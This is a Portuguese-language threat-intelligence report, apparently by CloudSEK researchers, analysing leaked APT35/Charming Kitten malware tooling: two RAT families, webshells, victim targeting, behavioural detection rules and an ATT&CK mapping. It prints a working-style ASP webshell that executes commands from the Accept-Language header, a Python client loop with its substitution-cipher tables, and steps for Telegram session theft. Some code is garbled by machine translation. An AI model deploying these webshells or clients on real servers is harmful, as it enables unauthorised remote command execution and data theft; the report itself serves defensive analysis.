Voltar
Inteligência do adversário
Tabela de conteúdo

Sumário executivo

Os documentos do episódio 3 revelam o pipeline completo de desenvolvimento de malware do APT35/Charming Kitten, incluindo duas famílias distintas de RAT (Saqeb System e RAT-2AC2), webshells personalizados, materiais de treinamento e procedimentos de teste operacional. Essa coleção representa uma operação profissional de desenvolvimento de malware com garantia de qualidade dedicada, pesquisa antidetecção e arquitetura modular projetada para persistência de longo prazo em ambientes Windows.

Esses documentos expõem todo o ciclo de vida do desenvolvimento de malware, desde materiais de treinamento em engenharia reversa até a implantação da produção, incluindo procedimentos de teste de FUD, especificações de módulos e infraestrutura operacional de webshell.

Análise

Resumo das principais descobertas

1. Arsenal de malware:

  • Sistema Saqeb: Windows RAT profissional com 5 módulos, focado em FUD, C2 multi-hop via TOR
  • RAT-2AC2: RAT baseado em .NET com back-end Flask, capacidade VNC, disfarçado de serviços legítimos
  • Webshells: Variantes personalizadas do m0s.asp usando o canal secreto do cabeçalho Accept-Language e a cifra de substituição
  • Ferramentas de suporte: Encryptor V1, kits de phishing (iscas do Google Drive), materiais de treinamento

2. Escala operacional:

  • Mais de 300 entidades comprometidas (declarado pelo APT35)
  • Mais de 6 países visados (Emirados Árabes Unidos, Jordânia, Turquia, Israel, Egito, Arábia Saudita)
  • Várias violações confirmadas: FlyDubai, Polícia de Dubai, Turismo no Deserto da Jordânia, Eposta, além de todas as vítimas do Episódio 1-2
  • Operações de longo prazo: Atividade documentada de 2022-2025

3. Nível de sofisticação:

  • Desenvolvimento avançado: Código nativo (C/C++), arquitetura modular, QA/teste profissional
  • Foco anti-detecção: laboratório FUD, evasão sistemática de AV, anti-depuração/anti-VM, ofuscação de strings
  • Segurança operacional: Multi-hop C2, integração TOR, servidores de retransmissão, criptografia de tráfego
  • Documentação de qualidade: Manuais completos, currículos de treinamento, relatórios operacionais

4. Objetivos estratégicos:

  • Inteligência regional: Bancos de dados de aeroportos/hotéis, aplicação da lei, sistemas SCADA
  • Operações anti-Israel: Grupo de ransomware da Moses' Staff, mais de 300 sites preparados para ataques
  • Campanhas de influência: Black Flags, Zion 24, “Israel, o espelho frágil”
  • Suporte do Eixo de Resistência: Compartilhamento de CFTV, coordenação de inteligência, aliança regional

Análise da família de malware

A. Sistema Saqeb - Windows RAT primário

Visão geral

  • Nome: Sistema Saqeb (1.314)
  • Organização: Instituto de Mídia Ofogh (134 153)
  • Classificação: Windows RAT avançado com arquitetura modular
  • Plataforma de destino: Windows (todas as versões)
  • Linguagem de desenvolvimento: C++ (código nativo - não dependente do.NET)
  • Arquitetura: Sistema de duas partes (Agente + Painel de Comando)

Especificações do agente:

  • Linguagem de programação: C++ (nativa)
  • Compilação: Visual Studio 2015
  • Tempo de execução: multitarefa (sinalizador /MT)
  • Dependências: independente da estrutura (código nativo)
  • Antidetecção: design focado em FUD
  • Comunicação: HTTP/HTTPS com criptografia XOR

Estrutura modular (5 componentes):

Painel de comando e controle

Pilha de tecnologia de painéis:

  • Plataforma: baseada na Web (serviço oculto TOR)
  • Backend: Não especificado (provavelmente PHP/Python)
  • Acesso: Nome de usuário/senha + CAPTCHA
  • Comunicação: HTTP sobre TOR
  • Intervalo padrão: 20 segundos (configurável)

Capacidades do painel:

Feature Description Technical Implementation
Client Management View online/offline clients Real-time status polling
File Explorer Browse/download/upload files Access-level dependent
Command Execution Windows CMD commands Real-time result return
Screenshot Capture Desktop image retrieval GDI-based capture
Keylogger Control Start/stop key logging Disk-based encrypted storage
Stealer Modules Firefox/Telegram extraction On-demand module delivery
Auto-Run Scheduling Daily/weekly persistence Configurable execution times
Remote Update Agent version updates central.dat replacement
Self-Destruct Complete removal "Kill RAT" function

Características da interface do usuário do painel (do manual):

- Adicionar novo cliente: cria um agente ZIP exclusivo protegido por senha

- Número de série: identificador exclusivo por agente (por exemplo, 337E81E3BA4B)

- Status: estados online/offline/Stop

- Controle deslizante de intervalo: ajuste a frequência de retorno de chamada (segundos)

- Registros de histórico: rastreamento de execução de comandos com carimbos de data/hora

- Gerenciamento de usuários: controle de acesso multiusuário

- Tela de bloqueio: recurso de segurança do painel

- Exportação de CSV: extração de resultados de comandos

Fluxo de execução:

1. Baixe lock.dat do servidor (codificado em hexadecimal)

2. Decodifique para rns.dll

3. Crie um arquivo BAT com o comando rundll32

4. Executar BAT → rundll32 carrega rns.dll

5. Chame a função snrProc ()

6. Destruição aleatória de bytes em arquivos acessíveis

Fluxo de trabalho de sequestro de sessões:

1. Disco de pesquisa para a pasta Telegram

2. Localizar arquivos de sessão

3. Base64 codifica todos os arquivos

4. Transmita para C2

5. O invasor substitui arquivos no novo sistema

6. Obtenha acesso ao Telegram (se não houver uma senha de nuvem)

B. RAT-2AC2 - Plataforma RAT secundária

Visão geral

  • Desenvolvimento: Linguagem C# + .NET Framework 4
  • Servidor: Python + Flask versão 2
  • Protocolo: HTTP/HTTPS
  • Arquitetura: Cliente-servidor com registro baseado em API
  • Infraestrutura: Suporta encaminhamento de DNS e vários relés

Especificações técnicas

Cliente (Agente):

  • Linguagem: C#
  • Estrutura: .NET 4.0 (código gerenciado)
  • Plataforma: Windows
  • Comunicação: HTTP REST API
  • Autenticação: token baseado em cabeçalho
  • Relatório de status: a cada 5 segundos
  • Comando inicial: execução de informações do sistema

Servidor (painel):

  • Linguagem: Python 3.x
  • Estrutura: Flask 2.x
  • Recomendação do sistema operacional: Linux Debian
  • Instalação: pip3 install -r requirement.txt
  • Execução: python3 app.py
  • Configuração: Linha final do app.py (endereço/porta)

Endpoints de API

Endpoint Method Function Parameters
/api POST Initial client registration IP, OS, CPU, RAM, AV, .NET, DOMAIN, POWERSHELL, USERNAME, PYTHON_VERSION, COUNTRY
/cmd/<id> GET Retrieve commands for client Client ID
/panel GET Web panel access Requires header token + login
/login POST Authentication Username, Password
/keylogger POST Keylogger results Client ID, logged data
/vncLauncher POST Initialize VNC Triggers bore/noVNC setup
/vncConnect GET Connect to VNC Opens browser connection
/vncTerminate POST Stop VNC Kills novncproxy/bore
/file POST File upload to server File data
/command POST Register command Client ID, command string
/result POST Command result Client ID, result data
/log GET Command history All logged commands
/download GET Download file from client Path parameter
/delete POST Delete client Client ID
/SysInfo POST System information Full systeminfo output
/uploadInDatabase POST Upload file to client File + path

Implantação de segurança

Fluxo de autenticação:

1. O cliente envia solicitação de API com token de cabeçalho

2. O servidor valida o token

3. Se válido, atribui um ID exclusivo

4. O cliente usa o ID para todas as solicitações subsequentes

5. Comandos recuperados via /cmd/ <id>

Capacidades

Acesso remoto:

  • VNC: Baseado em navegador via tunelamento NoVNC + bore.pub
  • Execução de comandos: shell CMD do Windows
  • Registro de chaves: Captura de teclado em segundo plano com armazenamento de arquivos
  • Captura de tela: Captura de imagem de desktop
  • Gerenciamento de arquivos: Upload/download com especificação de caminho

Arquitetura VNC:

1. O cliente baixa software entediante

2. Configura o servidor NoVNC

3. Executa a porta para frente via furo

4. Envia endereço bore.pub + porta para o servidor

5. O operador se conecta via navegador

6. Encerrar via VNCTerminate (elimina todos os serviços)

Operações de arquivo:

Baixar do cliente:

1. Comando: download=/path/to/file

2. O cliente lê o arquivo → Codificação Base64 → Enviar para o servidor

3. O servidor armazena o arquivo → Exibe no painel

4. O nível de acesso depende dos privilégios do cliente

Carregar para o cliente:

1. Carregar arquivo para o servidor via /file

2. Comando de registro: upload=/path/to/file/filename.ext

3. O cliente baixa do servidor

4. O cliente grava o arquivo no caminho especificado

Fluxo de trabalho do Keylogger:

1. O servidor envia o comando “keylogger”

2. O botão do painel fica vermelho (esperando)

3. O cliente começa a registrar no arquivo de disco

4. Resultados enviados periodicamente para o servidor

5. O botão do painel fica azul (dados recebidos)

6. Clique no botão para ver os resultados

Infraestrutura Webshell

A. m0s.asp - Webshell ASP avançado

Visão geral

  • Idioma: ASP clássico (VBScript)
  • Método: canal de comando baseado em cabeçalho HTTP
  • Codificação: Cifra de substituição personalizada
  • Execução: execução do comando WScript.shell

Implementação técnica

Canal de comando:

vespa

'Leia o cabeçalho Accept-Language

CMDEncoded = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)

'Decodifique por meio de cifra personalizada

cmdDecoded = Função de decodificação (cmdEncoded)

'Executar comando

Defina ObjShell = server.createObject (“WScript.shell”)

Defina ObjExec = OBJShell.exec (“cmd /c" & cmdDecoded)

'Retornar STDOUT

Response.Write objExec.stdout.readAll ()

Cifra de substituição:

Tabela de codificação (EN):

AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/

Tabela de decodificação (DE):

Qk3\ afcpbyjtgywsv=0egdx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz

Lógica da função de decodificação:

  • Para cada caractere na string codificada:
    • Encontre a posição na tabela DE
    • Substituir por caractere na mesma posição na tabela EN
    • Anexar à string decodificada
  • Retornar comando decodificado

Uso operacional

Scripts de cliente (Python):

píton

# connect.py, RCE4.py, padrão rce5.py

solicitações de importação

# URLs de destino codificados (exemplos de artefatos)

alvos = [

“https://<domain>/images/flash/test9/m0s.phto “,

“http://<IP>/images/m0s.php “,

“http://<domain>/CMS/Uploads/m0s.aspx”

]

# Função de codificação (espelha o decodificador ASP)

def encode_command (cmd):

pt = “AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/”

de = “Qk3\\ AFcpbyjtgywsv=0EGDx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz”

trans = str.maketrans (en, de)

retornar cmd.translate (trans)

# Loop interativo

enquanto verdadeiro:

cmd = entrada (“CMD> “)

codificado = encode_command (cmd)

    

cabeçalhos = {

“Idioma de aceitação”: codificado,

“Accept-Captcha”: “[valor predefinido]”,

“Agente do usuário”: “Mozilla/5.0...”

}

    

resposta = requests.get (target_url, cabeçalhos = cabeçalhos)

imprimir (resposta.texto)

B. file.asp/webshell.asp - Variantes mais simples

Implantação

vespa

<%

'Execução direta de comandos (sem codificação)

cmd = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)

Defina ObjShell = server.createObject (“WScript.shell”)

Defina ObjExec = OBJShell.exec (“cmd /c" & cmd)

Response.Write objExec.stdout.readAll ()

%>

Objetivo: RCE completo com privilégios de processo de trabalho do IIS, sem autenticação, execução direta do cabeçalho ao shell.

3. Inteligência de alvos

A. Análise de padrões de segmentação

Foco geográfico:

  • Primárias: Emirados Árabes Unidos (2 confirmados: FlyDubai, Polícia de Dubai)
  • Secundário: Jordânia (1 confirmado: setor de turismo)
  • Terciário: Turquia (1 confirmado: provedor de e-mail)
  • Ativo: Israel (a estrutura da pasta confirma)

Ativo: Egito (a estrutura da pasta confirma)

Segmentação setorial:

  • Aviação: FlyDubai
  • Aplicação da lei: Polícia de Dubai
  • Turismo: Deserto da Jordânia
  • Comunicações: Eposta

Padrão estratégico:

  • Infraestrutura crítica: Setor de aviação
  • Inteligência Goldmine: Sistemas de aplicação da lei
  • Inteligência econômica: Turismo (rastreamento de visitantes)
  • Vigilância de: Provedores de e-mail

B. SCADA/Industrial Targeting (do relatório #78TPDD)

Capacidades declaradas:

  • “Estabelecer acesso a infraestruturas industriais e extrair informações de domínio SCADA para utilização em operações cibernéticas ofensivas”

Implicações:

  • Reconhecimento SCADA ativo em andamento
  • Coleta de informações para futuros ataques
  • Desenvolvimento de capacidades ofensivas
  • Segmentação de infraestrutura crítica

Alvos potenciais (com base no foco regional):

  • Instalações de petróleo e gás (Emirados Árabes Unidos, Arábia Saudita)
  • Estações de tratamento de água (mencionadas: acesso à National Water Company no Episódio 2)
  • Geração/distribuição de energia
  • Usinas de dessalinização (infraestrutura crítica dos Emirados Árabes Unidos)
  • Sistemas aeroportuários (ponto de acesso FlyDubai)

C. Escala de ransomware (do relatório #78TPDD)

Conquista declarada:

  • “Estabelecendo acesso em mais de 300 sites e empresas para

ataques de ransomware em linha com a exploração de mídia”

Análise:

  • Mais de 300 entidades comprometidas: Inventário de acesso massivo
  • Pronto para ransomware: Pré-posicionado para implantação
  • Armamento da mídia: Ataques programados para causar impacto psicológico
  • Grupo de funcionários de Moisés: Atribuição pública para operações

Operações da equipe de Moisés:

  • Táticas: Ransomware e vazamentos de dados
  • Alvo: “regime sionista” (Israel)
  • Estratégia de mídia: cobertura global da rede de notícias
  • Objetivo: “Quebrar o domínio vazio na capacidade cibernética”

4. Orientação de detecção e prevenção

Detecção comportamental

Padrão comportamental de Saqeb:

Acionadores:

1. O processo cria mutex via createEventa ()

2. AND carrega a biblioteca do arquivo.dat (loadLibrary em extensão não PE)

3. E faz conexões HTTPS com cargas criptografadas com XOR

4. AND exibe um dos seguintes:

- Conexão de teclado (SetWindowsHookeX WH_KEYBOARD_LL)

- Enumeração de arquivos no nível raiz do disco

- Várias pequenas transmissões de rede com atrasos

- Acesso ao diretório de perfis do Firefox (logins.json)

- Acesso à pasta do Telegram (D877f783d5d3ef8cs)

Severidade: CRÍTICA

Resposta: Isole, colete o despejo de memória, alerte o SOC

Padrão comportamental RAT-2AC2:

Regra: APT35_RAT2AC2_Behavior

Acionadores:

1. O executável.NET com nome semelhante a um serviço é executado em um local não padrão

2. AND transforma HTTP POST no endpoint /api com dados de enumeração do sistema

3. <id>AND pesquisa o endpoint /cmd/ a cada 5-10 segundos

4. AND exibe um dos seguintes:

- Baixa o software bore.pub

- Inicia o serviço NoVNC

- Executa o comando systeminfo

- Cria arquivos no formato Base64

- Atividade de encaminhamento de portas

Severidade: CRÍTICA

Resposta: Elimine o processo, bloqueie IPs C2, investigação forense

Padrão comportamental Webshell:

Regra: APT35_WebShell_Behavior

Acionadores:

1. Processo de trabalho do IIS (w3wp.exe)

2. E gera cmd.exe ou powershell.exe

3. O comando AND inclui palavras-chave suspeitas:

- whoami, usuário da rede, grupo local da rede

- ipconfig, netstat, lista de tarefas

- dir C:\, digite [arquivo]

- WMIC, NET USE (movimento lateral)

4. E a solicitação HTTP continha um cabeçalho incomum de Accept-Language

Severidade: ALTA

Resposta: bloqueie o IP de origem, elimine o processo da web, verifique se há webshells persistentes

5. Mapeamento MITRE ATT&CK

Adversary techniques & evidence mapping
Tactic Technique Sub-Technique Evidence Malware
Initial Access T1566 - Phishing T1566.001 - Spearphishing Attachment Google Drive phishing kit with .rar files All campaigns
Initial Access T1190 - Exploit Public-Facing Application Webshell deployment on web servers m0s.asp variants
Execution T1059 - Command and Scripting Interpreter T1059.001 - PowerShell Webshell cmd execution m0s.asp, RAT-2AC2
Execution T1059.003 - Windows Command Shell cmd /c execution via WScript.Shell m0s.asp, file.asp
Execution T1204 - User Execution T1204.002 - Malicious File Phishing attachments, malware executables Saqeb, RAT-2AC2
Execution T1106 - Native API CreateEventA, LoadLibrary, GetProcAddress Saqeb main
Persistence T1543 - Create or Modify System Process T1543.003 - Windows Service Service masquerading (WinUpdateService.exe, etc.) RAT-2AC2
Persistence T1547 - Boot or Logon Autostart Execution T1547.001 - Registry Run Keys Auto-run scheduling (daily/weekly) Saqeb
Persistence T1505 - Server Software Component T1505.003 - Web Shell m0s.asp, file.asp, webshell.asp deployed Webshells
Privilege Escalation T1543 - Create or Modify System Process T1543.003 - Windows Service Elevated service creation RAT-2AC2
Defense Evasion T1027 - Obfuscated Files or Information T1027.002 - Software Packing Hex encoding of modules (bin2hex.py) Saqeb modules
Defense Evasion T1027.007 - Dynamic API Resolution LoadLibrary + GetProcAddress at runtime Saqeb main
Defense Evasion T1140 - Deobfuscate/Decode Files or Information Runtime hex decoding, XOR decryption, string deobfuscation Saqeb, webshells
Defense Evasion T1036 - Masquerading T1036.004 - Masquerade Task or Service Legitimate service names (Microsoft, Exchange, Windows) RAT-2AC2
Defense Evasion T1036.008 - Masquerade File Type .dat extensions for DLLs Saqeb modules
Defense Evasion T1070 - Indicator Removal T1070.004 - File Deletion Self-destruct capability ("Kill RAT") Saqeb
Defense Evasion T1112 - Modify Registry Registry manipulation for persistence (minimal to avoid detection) Saqeb
Defense Evasion T1497 - Virtualization/Sandbox Evasion Anti-VM techniques (training curriculum Section 8) All malware
Defense Evasion T1622 - Debugger Evasion Anti-debug mechanisms Saqeb (documented in manual)
Defense Evasion T1562 - Impair Defenses T1562.001 - Disable or Modify Tools AV exclusion paths in file destruction module rns.dll
Credential Access T1555 - Credentials from Password Stores T1555.003 - Credentials from Web Browsers Firefox password extraction (nss3.dll abuse) stler.dll (creds.dat)
Credential Access T1552 - Unsecured Credentials T1552.001 - Credentials In Files Telegram session file theft telg.dll (msg.dat)
Credential Access T1056 - Input Capture T1056.001 - Keylogging SetWindowsHookEx keyboard hooking klg.dll (logging.dat)
Discovery T1082 - System Information Discovery systeminfo command execution RAT-2AC2, webshells
Discovery T1083 - File and Directory Discovery Disk-level file enumeration (Fexp function) Saqeb main
Discovery T1057 - Process Discovery Process enumeration capabilities All RATs
Discovery T1033 - System Owner/User Discovery whoami, username collection All malware
Discovery T1016 - System Network Configuration Discovery ipconfig, network enumeration Webshells, RATs
Discovery T1049 - System Network Connections Discovery netstat commands Webshells
Discovery T1518 - Software Discovery T1518.001 - Security Software Discovery AV detection (Kaspersky, BitDefender exclusions) Saqeb, RAT-2AC2
Lateral Movement T1021 - Remote Services T1021.006 - Windows Remote Management WMIC commands in webshell scripts RCE4.py comments
Lateral Movement T1080 - Taint Shared Content File upload to UNC shares Webshell comments (vmware-tools.exe example), connect.py
Collection T1005 - Data from Local System File download capabilities, Firefox/Telegram data extraction Saqeb, RAT-2AC2
Collection T1113 - Screen Capture Screenshot functionality (capHandler) Saqeb, RAT-2AC2
Collection T1119 - Automated Collection Automated file enumeration and exfiltration Saqeb
Collection T1056 - Input Capture T1056.001 - Keylogging Keyboard hook with window title logging klg.dll
Command & Control T1071 - Application Layer Protocol T1071.001 - Web Protocols HTTP/HTTPS C2 communication All malware
Command & Control T1132 - Data Encoding T1132.001 - Standard Encoding XOR encryption, Base64, hex encoding, substitution cipher All malware
Command & Control T1573 - Encrypted Channel T1573.001 - Symmetric Cryptography XOR-based traffic encryption Saqeb
Command & Control T1090 - Proxy T1090.003 - Multi-hop Proxy Relay servers + TOR (7 hops) Saqeb
Command & Control T1095 - Non-Application Layer Protocol TOR network usage (.onion addresses) Saqeb
Command & Control T1571 - Non-Standard Port Webshells on ports 9003, various custom ports Episodes 1-2 evidence
Command & Control T1001 - Data Obfuscation T1001.002 - Steganography Covert channel via Accept-Language header m0s.asp variants
Command & Control T1105 - Ingress Tool Transfer Module download from C2 (dwPlugin function) Saqeb
Exfiltration T1041 - Exfiltration Over C2 Channel Data exfiltration via HTTP POST All malware
Exfiltration T1020 - Automated Exfiltration Scheduled data collection and transmission Saqeb
Exfiltration T1030 - Data Transfer Size Limits Chunked file transfer (flwHandler) Saqeb
Impact T1486 - Data Encrypted for Impact Ransomware encryption routine observed in payloads Saqeb-ransom variant

Referências

https://github.com/KittenBusters/CharmingKitten

Koushik Pal
Threat Researcher at CloudSEK, specializing in digital forensics, incident response, and adversary hunting to uncover attacker motives, methods, and operations.
Pagilla Manohar Reddy
Threat Researcher at CloudSEK

Blogs relacionados